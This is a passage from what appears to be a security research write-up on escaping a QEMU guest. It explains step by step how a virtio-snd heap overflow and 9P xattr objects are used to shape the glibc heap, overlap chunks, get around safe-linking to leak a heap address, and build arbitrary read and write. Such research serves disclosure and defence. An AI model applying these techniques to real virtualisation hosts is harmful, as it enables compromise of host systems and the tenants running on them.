this:",{"type":23,"tag":73,"props":126254,"children":126255},{},[126256,126268],{"type":23,"tag":77,"props":126257,"children":126258},{},[126259,126261,126266],{"type":28,"value":126260},"Make ",{"type":23,"tag":64,"props":126262,"children":126264},{"className":126263},[],[126265],{"type":28,"value":125437},{"type":28,"value":126267}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":77,"props":126269,"children":126270},{},[126271,126273,126278,126280,126285,126287,126292],{"type":28,"value":126272},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":64,"props":126274,"children":126276},{"className":126275},[],[126277],{"type":28,"value":125437},{"type":28,"value":126279},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":64,"props":126281,"children":126283},{"className":126282},[],[126284],{"type":28,"value":125437},{"type":28,"value":126286}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":64,"props":126288,"children":126290},{"className":126289},[],[126291],{"type":28,"value":125444},{"type":28,"value":126293}," chunks.",{"type":23,"tag":16388,"props":126295,"children":126297},{"id":126296},"separating-name-allocations",[126298],{"type":28,"value":126299},"Separating .name allocations",{"type":23,"tag":24,"props":126301,"children":126302},{},[126303,126305,126310,126312,126317],{"type":28,"value":126304},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":64,"props":126306,"children":126308},{"className":126307},[],[126309],{"type":28,"value":125481},{"type":28,"value":126311}," for N ",{"type":23,"tag":64,"props":126313,"children":126315},{"className":126314},[],[126316],{"type":28,"value":125437},{"type":28,"value":126318},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":126320,"children":126321},{},[126322,126324,126329,126330,126335,126336,126341,126343,126348,126350,126355],{"type":28,"value":126323},"At this point, we already know that ",{"type":23,"tag":64,"props":126325,"children":126327},{"className":126326},[],[126328],{"type":28,"value":125481},{"type":28,"value":126231},{"type":23,"tag":64,"props":126331,"children":126333},{"className":126332},[],[126334],{"type":28,"value":125437},{"type":28,"value":126238},{"type":23,"tag":64,"props":126337,"children":126339},{"className":126338},[],[126340],{"type":28,"value":125444},{"type":28,"value":126342},". If we simply call it with ",{"type":23,"tag":64,"props":126344,"children":126346},{"className":126345},[],[126347],{"type":28,"value":125444},{"type":28,"value":126349}," sized the same as ",{"type":23,"tag":64,"props":126351,"children":126353},{"className":126352},[],[126354],{"type":28,"value":125437},{"type":28,"value":126356},", we get a layout like this:",{"type":23,"tag":435,"props":126358,"children":126360},{"code":126359}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126361],{"type":23,"tag":64,"props":126362,"children":126363},{"__ignoreMap":7},[126364],{"type":28,"value":126359},{"type":23,"tag":24,"props":126366,"children":126367},{},[126368,126370,126375,126377,126383,126385,126391,126393,126398,126400,126405,126407,126412],{"type":28,"value":126369},"With that heap state, issuing a ",{"type":23,"tag":64,"props":126371,"children":126373},{"className":126372},[],[126374],{"type":28,"value":126147},{"type":28,"value":126376}," request would first free ",{"type":23,"tag":64,"props":126378,"children":126380},{"className":126379},[],[126381],{"type":28,"value":126382},".name A",{"type":28,"value":126384}," and then ",{"type":23,"tag":64,"props":126386,"children":126388},{"className":126387},[],[126389],{"type":28,"value":126390},".value A",{"type":28,"value":126392},". When ",{"type":23,"tag":64,"props":126394,"children":126396},{"className":126395},[],[126397],{"type":28,"value":126390},{"type":28,"value":126399}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":64,"props":126401,"children":126403},{"className":126402},[],[126404],{"type":28,"value":126382},{"type":28,"value":126406}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":64,"props":126408,"children":126410},{"className":126409},[],[126411],{"type":28,"value":125437},{"type":28,"value":126413},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":126415,"children":126416},{},[126417],{"type":28,"value":126418},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":126420,"children":126421},{},[126422,126424,126429,126431,126436,126438,126443,126445,126451,126453,126458,126460,126466],{"type":28,"value":126423},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":64,"props":126425,"children":126427},{"className":126426},[],[126428],{"type":28,"value":125437},{"type":28,"value":126430}," allocation remains fixed at size ",{"type":23,"tag":64,"props":126432,"children":126434},{"className":126433},[],[126435],{"type":28,"value":102599},{"type":28,"value":126437},". We first allocate 16 xattrs whose ",{"type":23,"tag":64,"props":126439,"children":126441},{"className":126440},[],[126442],{"type":28,"value":125444},{"type":28,"value":126444}," size is ",{"type":23,"tag":64,"props":126446,"children":126448},{"className":126447},[],[126449],{"type":28,"value":126450},"0x30",{"type":28,"value":126452},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":64,"props":126454,"children":126456},{"className":126455},[],[126457],{"type":28,"value":125444},{"type":28,"value":126459}," size ",{"type":23,"tag":64,"props":126461,"children":126463},{"className":126462},[],[126464],{"type":28,"value":126465},"0x40",{"type":28,"value":126467},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":126469,"children":126470},{},[126471],{"type":28,"value":126472},"This yields the following layout:",{"type":23,"tag":435,"props":126474,"children":126476},{"code":126475}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[126477],{"type":23,"tag":64,"props":126478,"children":126479},{"__ignoreMap":7},[126480],{"type":28,"value":126475},{"type":23,"tag":24,"props":126482,"children":126483},{},[126484,126486,126491,126493,126498,126500,126505,126507,126512,126514,126519,126521,126526,126527,126532,126534,126539,126541,126546,126548,126553,126555,126560,126562,126567],{"type":28,"value":126485},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":64,"props":126487,"children":126489},{"className":126488},[],[126490],{"type":28,"value":125437},{"type":28,"value":126492}," chunks end up in the ",{"type":23,"tag":64,"props":126494,"children":126496},{"className":126495},[],[126497],{"type":28,"value":102599},{"type":28,"value":126499}," tcache bin, along with the interleaved ",{"type":23,"tag":64,"props":126501,"children":126503},{"className":126502},[],[126504],{"type":28,"value":125444},{"type":28,"value":126506}," chunks of size ",{"type":23,"tag":64,"props":126508,"children":126510},{"className":126509},[],[126511],{"type":28,"value":126450},{"type":28,"value":126513},". The next 16 ",{"type":23,"tag":64,"props":126515,"children":126517},{"className":126516},[],[126518],{"type":28,"value":125437},{"type":28,"value":126520}," chunks are interleaved with ",{"type":23,"tag":64,"props":126522,"children":126524},{"className":126523},[],[126525],{"type":28,"value":125444},{"type":28,"value":126506},{"type":23,"tag":64,"props":126528,"children":126530},{"className":126529},[],[126531],{"type":28,"value":126465},{"type":28,"value":126533},"; when freed, those ",{"type":23,"tag":64,"props":126535,"children":126537},{"className":126536},[],[126538],{"type":28,"value":125444},{"type":28,"value":126540}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":64,"props":126542,"children":126544},{"className":126543},[],[126545],{"type":28,"value":125437},{"type":28,"value":126547}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":64,"props":126549,"children":126551},{"className":126550},[],[126552],{"type":28,"value":125437},{"type":28,"value":126554},"-sized chunks that will later be served to the ",{"type":23,"tag":64,"props":126556,"children":126558},{"className":126557},[],[126559],{"type":28,"value":125437},{"type":28,"value":126561}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":64,"props":126563,"children":126565},{"className":126564},[],[126566],{"type":28,"value":125444},{"type":28,"value":126293},{"type":23,"tag":7092,"props":126569,"children":126571},{"id":126570},"corrupting-the-size",[126572],{"type":28,"value":126573},"Corrupting the Size",{"type":23,"tag":24,"props":126575,"children":126576},{},[126577,126579,126584,126586,126591,126593,126598,126600,126605,126606,126611],{"type":28,"value":126578},"The input format is guest-controlled, and we choose ",{"type":23,"tag":64,"props":126580,"children":126582},{"className":126581},[],[126583],{"type":28,"value":946},{"type":28,"value":126585}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":64,"props":126587,"children":126589},{"className":126588},[],[126590],{"type":28,"value":946},{"type":28,"value":126592}," is centered at ",{"type":23,"tag":64,"props":126594,"children":126596},{"className":126595},[],[126597],{"type":28,"value":26953},{"type":28,"value":126599}," (rather than ",{"type":23,"tag":64,"props":126601,"children":126603},{"className":126602},[],[126604],{"type":28,"value":123699},{"type":28,"value":123686},{"type":23,"tag":64,"props":126607,"children":126609},{"className":126608},[],[126610],{"type":28,"value":123677},{"type":28,"value":126612},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":126614,"children":126615},{},[126616,126618,126623],{"type":28,"value":126617},"As we already concluded, ",{"type":23,"tag":64,"props":126619,"children":126621},{"className":126620},[],[126622],{"type":28,"value":123142},{"type":28,"value":126624}," is called with the amount:",{"type":23,"tag":435,"props":126626,"children":126628},{"code":126627},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[126629],{"type":23,"tag":64,"props":126630,"children":126631},{"__ignoreMap":7},[126632],{"type":28,"value":126627},{"type":23,"tag":24,"props":126634,"children":126635},{},[126636,126638,126643,126645,126650],{"type":28,"value":126637},"And as mentioned earlier, ",{"type":23,"tag":64,"props":126639,"children":126641},{"className":126640},[],[126642],{"type":28,"value":123173},{"type":28,"value":126644}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":64,"props":126646,"children":126648},{"className":126647},[],[126649],{"type":28,"value":121792},{"type":28,"value":55853},{"type":23,"tag":24,"props":126652,"children":126653},{},[126654,126656,126661,126663,126668],{"type":28,"value":126655},"With the desired heap layout of repeated ",{"type":23,"tag":64,"props":126657,"children":126659},{"className":126658},[],[126660],{"type":28,"value":125346},{"type":28,"value":126662},"-sized ",{"type":23,"tag":64,"props":126664,"children":126666},{"className":126665},[],[126667],{"type":28,"value":125444},{"type":28,"value":126669}," chunks in place, we can then free every other one:",{"type":23,"tag":435,"props":126671,"children":126673},{"code":126672}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[126674],{"type":23,"tag":64,"props":126675,"children":126676},{"__ignoreMap":7},[126677],{"type":28,"value":126672},{"type":23,"tag":24,"props":126679,"children":126680},{},[126681,126683,126688],{"type":28,"value":126682},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":64,"props":126684,"children":126686},{"className":126685},[],[126687],{"type":28,"value":125444},{"type":28,"value":126689}," chunk directly next to it:",{"type":23,"tag":435,"props":126691,"children":126693},{"code":126692}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[126694],{"type":23,"tag":64,"props":126695,"children":126696},{"__ignoreMap":7},[126697],{"type":28,"value":126692},{"type":23,"tag":24,"props":126699,"children":126700},{},[126701,126703,126708,126710,126715],{"type":28,"value":126702},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":64,"props":126704,"children":126706},{"className":126705},[],[126707],{"type":28,"value":125346},{"type":28,"value":126709},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":64,"props":126711,"children":126713},{"className":126712},[],[126714],{"type":28,"value":125444},{"type":28,"value":126716}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":435,"props":126718,"children":126720},{"code":126719}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126721],{"type":23,"tag":64,"props":126722,"children":126723},{"__ignoreMap":7},[126724],{"type":28,"value":126719},{"type":23,"tag":24,"props":126726,"children":126727},{},[126728,126730,126735],{"type":28,"value":126729},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":64,"props":126731,"children":126733},{"className":126732},[],[126734],{"type":28,"value":125361},{"type":28,"value":287},{"type":23,"tag":435,"props":126737,"children":126739},{"code":126738}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[126740],{"type":23,"tag":64,"props":126741,"children":126742},{"__ignoreMap":7},[126743],{"type":28,"value":126738},{"type":23,"tag":24,"props":126745,"children":126746},{},[126747,126749,126754],{"type":28,"value":126748},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":64,"props":126750,"children":126752},{"className":126751},[],[126753],{"type":28,"value":125361},{"type":28,"value":18240},{"type":23,"tag":435,"props":126756,"children":126758},{"code":126757}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[126759],{"type":23,"tag":64,"props":126760,"children":126761},{"__ignoreMap":7},[126762],{"type":28,"value":126757},{"type":23,"tag":24,"props":126764,"children":126765},{},[126766,126768,126774],{"type":28,"value":126767},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":64,"props":126769,"children":126771},{"className":126770},[],[126772],{"type":28,"value":126773},"0x400",{"type":28,"value":126775}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":435,"props":126777,"children":126779},{"code":126778}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126780],{"type":23,"tag":64,"props":126781,"children":126782},{"__ignoreMap":7},[126783],{"type":28,"value":126778},{"type":23,"tag":7092,"props":126785,"children":126787},{"id":126786},"leaking-a-heap-address",[126788],{"type":28,"value":126789},"Leaking a Heap Address",{"type":23,"tag":24,"props":126791,"children":126792},{},[126793],{"type":28,"value":126794},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":126796,"children":126797},{},[126798,126800,126806],{"type":28,"value":126799},"To do this, we abuse the forward (",{"type":23,"tag":64,"props":126801,"children":126803},{"className":126802},[],[126804],{"type":28,"value":126805},"fd",{"type":28,"value":126807},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":435,"props":126809,"children":126811},{"code":126810},"fd = next ^ (curr >> 12)\n",[126812],{"type":23,"tag":64,"props":126813,"children":126814},{"__ignoreMap":7},[126815],{"type":28,"value":126810},{"type":23,"tag":24,"props":126817,"children":126818},{},[126819,126821,126826,126827,126832],{"type":28,"value":126820},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":64,"props":126822,"children":126824},{"className":126823},[],[126825],{"type":28,"value":55092},{"type":28,"value":140},{"type":23,"tag":64,"props":126828,"children":126830},{"className":126829},[],[126831],{"type":28,"value":52022},{"type":28,"value":126833}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":435,"props":126835,"children":126837},{"code":126836},"fd = 0 ^ (curr >> 12)\n",[126838],{"type":23,"tag":64,"props":126839,"children":126840},{"__ignoreMap":7},[126841],{"type":28,"value":126836},{"type":23,"tag":24,"props":126843,"children":126844},{},[126845,126847,126852],{"type":28,"value":126846},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":64,"props":126848,"children":126850},{"className":126849},[],[126851],{"type":28,"value":126805},{"type":28,"value":126853}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":126855,"children":126856},{},[126857],{"type":28,"value":126858},"In the overlap we achieved earlier:",{"type":23,"tag":435,"props":126860,"children":126862},{"code":126861}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[126863],{"type":23,"tag":64,"props":126864,"children":126865},{"__ignoreMap":7},[126866],{"type":28,"value":126861},{"type":23,"tag":24,"props":126868,"children":126869},{},[126870,126872,126878,126880,126886,126888,126894,126896,126901],{"type":28,"value":126871},"We first free ",{"type":23,"tag":64,"props":126873,"children":126875},{"className":126874},[],[126876],{"type":28,"value":126877},".value C",{"type":28,"value":126879}," into tcache and read its contents through the oversized ",{"type":23,"tag":64,"props":126881,"children":126883},{"className":126882},[],[126884],{"type":28,"value":126885},".value Y",{"type":28,"value":126887},". This gives us ",{"type":23,"tag":64,"props":126889,"children":126891},{"className":126890},[],[126892],{"type":28,"value":126893},".value C >> 12",{"type":28,"value":126895},". That is not yet the exact address of ",{"type":23,"tag":64,"props":126897,"children":126899},{"className":126898},[],[126900],{"type":28,"value":126877},{"type":28,"value":126902},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":126904,"children":126905},{},[126906,126908,126913,126915,126920,126922,126927,126929,126934],{"type":28,"value":126907},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":64,"props":126909,"children":126911},{"className":126910},[],[126912],{"type":28,"value":126877},{"type":28,"value":126914},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":64,"props":126916,"children":126918},{"className":126917},[],[126919],{"type":28,"value":126877},{"type":28,"value":126921}," again. This time, ",{"type":23,"tag":64,"props":126923,"children":126925},{"className":126924},[],[126926],{"type":28,"value":55092},{"type":28,"value":126928}," is no longer ",{"type":23,"tag":64,"props":126930,"children":126932},{"className":126931},[],[126933],{"type":28,"value":52022},{"type":28,"value":126935},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":435,"props":126937,"children":126938},{"code":126810},[126939],{"type":23,"tag":64,"props":126940,"children":126941},{"__ignoreMap":7},[126942],{"type":28,"value":126810},{"type":23,"tag":24,"props":126944,"children":126945},{},[126946,126948,126954,126956,126961,126963,126968,126970,126975],{"type":28,"value":126947},"Since we already know ",{"type":23,"tag":64,"props":126949,"children":126951},{"className":126950},[],[126952],{"type":28,"value":126953},"curr >> 12",{"type":28,"value":126955}," from the first leak, we can read the new ",{"type":23,"tag":64,"props":126957,"children":126959},{"className":126958},[],[126960],{"type":28,"value":126805},{"type":28,"value":126962}," value from ",{"type":23,"tag":64,"props":126964,"children":126966},{"className":126965},[],[126967],{"type":28,"value":126877},{"type":28,"value":126969}," and recover the exact address of ",{"type":23,"tag":64,"props":126971,"children":126973},{"className":126972},[],[126974],{"type":28,"value":55092},{"type":28,"value":126976}," by reversing the XOR:",{"type":23,"tag":435,"props":126978,"children":126980},{"code":126979},"next = fd ^ (curr >> 12)\n",[126981],{"type":23,"tag":64,"props":126982,"children":126983},{"__ignoreMap":7},[126984],{"type":28,"value":126979},{"type":23,"tag":24,"props":126986,"children":126987},{},[126988],{"type":28,"value":126989},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":7092,"props":126991,"children":126993},{"id":126992},"arbitrary-read-and-write",[126994],{"type":28,"value":126995},"Arbitrary Read and Write",{"type":23,"tag":24,"props":126997,"children":126998},{},[126999,127001,127006],{"type":28,"value":127000},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":64,"props":127002,"children":127004},{"className":127003},[],[127005],{"type":28,"value":126877},{"type":28,"value":127007}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":127009,"children":127010},{},[127011,127013,127018],{"type":28,"value":127012},"Recall ",{"type":23,"tag":64,"props":127014,"children":127016},{"className":127015},[],[127017],{"type":28,"value":125481},{"type":28,"value":287},{"type":23,"tag":435,"props":127020,"children":127022},{"code":127021,"language":661,"meta":7,"className":14005,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[127023],{"type":23,"tag":64,"props":127024,"children":127025},{"__ignoreMap":7},[127026,127065,127072,127083,127098,127113,127120,127127,127134,127156,127163,127170,127177,127185,127202,127241,127284,127291],{"type":23,"tag":481,"props":127027,"children":127028},{"class":483,"line":484},[127029,127033,127037,127041,127045,127049,127053,127057,127061],{"type":23,"tag":481,"props":127030,"children":127031},{"style":497},[127032],{"type":28,"value":48570},{"type":23,"tag":481,"props":127034,"children":127035},{"style":497},[127036],{"type":28,"value":48575},{"type":23,"tag":481,"props":127038,"children":127039},{"style":525},[127040],{"type":28,"value":125476},{"type":23,"tag":481,"props":127042,"children":127043},{"style":610},[127044],{"type":28,"value":125481},{"type":23,"tag":481,"props":127046,"children":127047},{"style":525},[127048],{"type":28,"value":618},{"type":23,"tag":481,"props":127050,"children":127051},{"style":497},[127052],{"type":28,"value":49153},{"type":23,"tag":481,"props":127054,"children":127055},{"style":514},[127056],{"type":28,"value":7301},{"type":23,"tag":481,"props":127058,"children":127059},{"style":508},[127060],{"type":28,"value":125498},{"type":23,"tag":481,"props":127062,"children":127063},{"style":525},[127064],{"type":28,"value":675},{"type":23,"tag":481,"props":127066,"children":127067},{"class":483,"line":351},[127068],{"type":23,"tag":481,"props":127069,"children":127070},{"style":525},[127071],{"type":28,"value":8366},{"type":23,"tag":481,"props":127073,"children":127074},{"class":483,"line":531},[127075,127079],{"type":23,"tag":481,"props":127076,"children":127077},{"style":497},[127078],{"type":28,"value":53139},{"type":23,"tag":481,"props":127080,"children":127081},{"style":525},[127082],{"type":28,"value":122134},{"type":23,"tag":481,"props":127084,"children":127085},{"class":483,"line":567},[127086,127090,127094],{"type":23,"tag":481,"props":127087,"children":127088},{"style":525},[127089],{"type":28,"value":125623},{"type":23,"tag":481,"props":127091,"children":127092},{"style":514},[127093],{"type":28,"value":2120},{"type":23,"tag":481,"props":127095,"children":127096},{"style":525},[127097],{"type":28,"value":125632},{"type":23,"tag":481,"props":127099,"children":127100},{"class":483,"line":678},[127101,127105,127109],{"type":23,"tag":481,"props":127102,"children":127103},{"style":525},[127104],{"type":28,"value":125623},{"type":23,"tag":481,"props":127106,"children":127107},{"style":514},[127108],{"type":28,"value":2120},{"type":23,"tag":481,"props":127110,"children":127111},{"style":525},[127112],{"type":28,"value":125648},{"type":23,"tag":481,"props":127114,"children":127115},{"class":483,"line":784},[127116],{"type":23,"tag":481,"props":127117,"children":127118},{"emptyLinePlaceholder":15},[127119],{"type":28,"value":1210},{"type":23,"tag":481,"props":127121,"children":127122},{"class":483,"line":812},[127123],{"type":23,"tag":481,"props":127124,"children":127125},{"style":525},[127126],{"type":28,"value":102333},{"type":23,"tag":481,"props":127128,"children":127129},{"class":483,"line":825},[127130],{"type":23,"tag":481,"props":127131,"children":127132},{"emptyLinePlaceholder":15},[127133],{"type":28,"value":1210},{"type":23,"tag":481,"props":127135,"children":127136},{"class":483,"line":843},[127137,127142,127146,127151],{"type":23,"tag":481,"props":127138,"children":127139},{"style":525},[127140],{"type":28,"value":127141}," file_fidp ",{"type":23,"tag":481,"props":127143,"children":127144},{"style":514},[127145],{"type":28,"value":603},{"type":23,"tag":481,"props":127147,"children":127148},{"style":610},[127149],{"type":28,"value":127150}," get_fid",{"type":23,"tag":481,"props":127152,"children":127153},{"style":525},[127154],{"type":28,"value":127155},"(pdu, fid);\n",{"type":23,"tag":481,"props":127157,"children":127158},{"class":483,"line":864},[127159],{"type":23,"tag":481,"props":127160,"children":127161},{"emptyLinePlaceholder":15},[127162],{"type":28,"value":1210},{"type":23,"tag":481,"props":127164,"children":127165},{"class":483,"line":873},[127166],{"type":23,"tag":481,"props":127167,"children":127168},{"style":525},[127169],{"type":28,"value":102333},{"type":23,"tag":481,"props":127171,"children":127172},{"class":483,"line":1125},[127173],{"type":23,"tag":481,"props":127174,"children":127175},{"emptyLinePlaceholder":15},[127176],{"type":28,"value":1210},{"type":23,"tag":481,"props":127178,"children":127179},{"class":483,"line":1142},[127180],{"type":23,"tag":481,"props":127181,"children":127182},{"style":488},[127183],{"type":28,"value":127184}," /* Make the file fid point to xattr */\n",{"type":23,"tag":481,"props":127186,"children":127187},{"class":483,"line":1159},[127188,127193,127197],{"type":23,"tag":481,"props":127189,"children":127190},{"style":525},[127191],{"type":28,"value":127192}," xattr_fidp ",{"type":23,"tag":481,"props":127194,"children":127195},{"style":514},[127196],{"type":28,"value":603},{"type":23,"tag":481,"props":127198,"children":127199},{"style":525},[127200],{"type":28,"value":127201}," file_fidp;\n",{"type":23,"tag":481,"props":127203,"children":127204},{"class":483,"line":1172},[127205,127209,127213,127217,127221,127225,127229,127233,127237],{"type":23,"tag":481,"props":127206,"children":127207},{"style":508},[127208],{"type":28,"value":126026},{"type":23,"tag":481,"props":127210,"children":127211},{"style":525},[127212],{"type":28,"value":11245},{"type":23,"tag":481,"props":127214,"children":127215},{"style":508},[127216],{"type":28,"value":34500},{"type":23,"tag":481,"props":127218,"children":127219},{"style":525},[127220],{"type":28,"value":199},{"type":23,"tag":481,"props":127222,"children":127223},{"style":508},[127224],{"type":28,"value":125950},{"type":23,"tag":481,"props":127226,"children":127227},{"style":525},[127228],{"type":28,"value":199},{"type":23,"tag":481,"props":127230,"children":127231},{"style":508},[127232],{"type":28,"value":6621},{"type":23,"tag":481,"props":127234,"children":127235},{"style":514},[127236],{"type":28,"value":517},{"type":23,"tag":481,"props":127238,"children":127239},{"style":525},[127240],{"type":28,"value":122134},{"type":23,"tag":481,"props":127242,"children":127243},{"class":483,"line":1181},[127244,127248,127252,127256,127260,127264,127268,127272,127276,127280],{"type":23,"tag":481,"props":127245,"children":127246},{"style":508},[127247],{"type":28,"value":126026},{"type":23,"tag":481,"props":127249,"children":127250},{"style":525},[127251],{"type":28,"value":11245},{"type":23,"tag":481,"props":127253,"children":127254},{"style":508},[127255],{"type":28,"value":34500},{"type":23,"tag":481,"props":127257,"children":127258},{"style":525},[127259],{"type":28,"value":199},{"type":23,"tag":481,"props":127261,"children":127262},{"style":508},[127263],{"type":28,"value":125950},{"type":23,"tag":481,"props":127265,"children":127266},{"style":525},[127267],{"type":28,"value":199},{"type":23,"tag":481,"props":127269,"children":127270},{"style":508},[127271],{"type":28,"value":36670},{"type":23,"tag":481,"props":127273,"children":127274},{"style":514},[127275],{"type":28,"value":517},{"type":23,"tag":481,"props":127277,"children":127278},{"style":610},[127279],{"type":28,"value":121705},{"type":23,"tag":481,"props":127281,"children":127282},{"style":525},[127283],{"type":28,"value":126063},{"type":23,"tag":481,"props":127285,"children":127286},{"class":483,"line":1204},[127287],{"type":23,"tag":481,"props":127288,"children":127289},{"emptyLinePlaceholder":15},[127290],{"type":28,"value":1210},{"type":23,"tag":481,"props":127292,"children":127293},{"class":483,"line":1213},[127294],{"type":23,"tag":481,"props":127295,"children":127296},{"style":525},[127297],{"type":28,"value":102333},{"type":23,"tag":24,"props":127299,"children":127300},{},[127301,127303,127309,127311,127316,127317,127322,127324,127329,127331,127337,127338,127344,127346,127351,127352,127357],{"type":28,"value":127302},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":64,"props":127304,"children":127306},{"className":127305},[],[127307],{"type":28,"value":127308},"V9fsFidState",{"type":28,"value":127310}," object. In other words, if we can place a ",{"type":23,"tag":64,"props":127312,"children":127314},{"className":127313},[],[127315],{"type":28,"value":127308},{"type":28,"value":4800},{"type":23,"tag":64,"props":127318,"children":127320},{"className":127319},[],[127321],{"type":28,"value":126877},{"type":28,"value":127323}," currently sits, the overlapping ",{"type":23,"tag":64,"props":127325,"children":127327},{"className":127326},[],[127328],{"type":28,"value":126885},{"type":28,"value":127330}," chunk can overwrite ",{"type":23,"tag":64,"props":127332,"children":127334},{"className":127333},[],[127335],{"type":28,"value":127336},"V9fsFidState.fs.xattr.value",{"type":28,"value":8478},{"type":23,"tag":64,"props":127339,"children":127341},{"className":127340},[],[127342],{"type":28,"value":127343},"V9fsFidState.fs.xattr.len",{"type":28,"value":127345},". That would immediately give us arbitrary read and write through 